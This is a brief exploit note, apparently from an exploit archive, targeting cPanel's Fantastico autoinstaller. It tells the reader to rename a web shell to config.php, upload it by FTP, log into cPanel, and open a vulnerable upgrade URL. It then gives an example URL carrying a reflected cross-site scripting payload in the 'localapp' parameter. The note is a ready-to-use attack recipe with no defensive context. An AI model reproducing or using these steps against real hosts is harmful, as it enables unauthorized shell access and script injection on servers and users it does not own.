Note : Rename your shell to config.php and upload with your ftp account in ./ directory .... , now login in cpanel and
enter vulnerable address in url ....
For Example : https://ServerIp:2083/frontend/x3/fantastico/autoinstall4imagesgalleryupgrade.php?action=Upgrad e%20to%201.7.4&localapp=%22%3Cscript%3Ealert(%27xs s%27)%3C/script%3E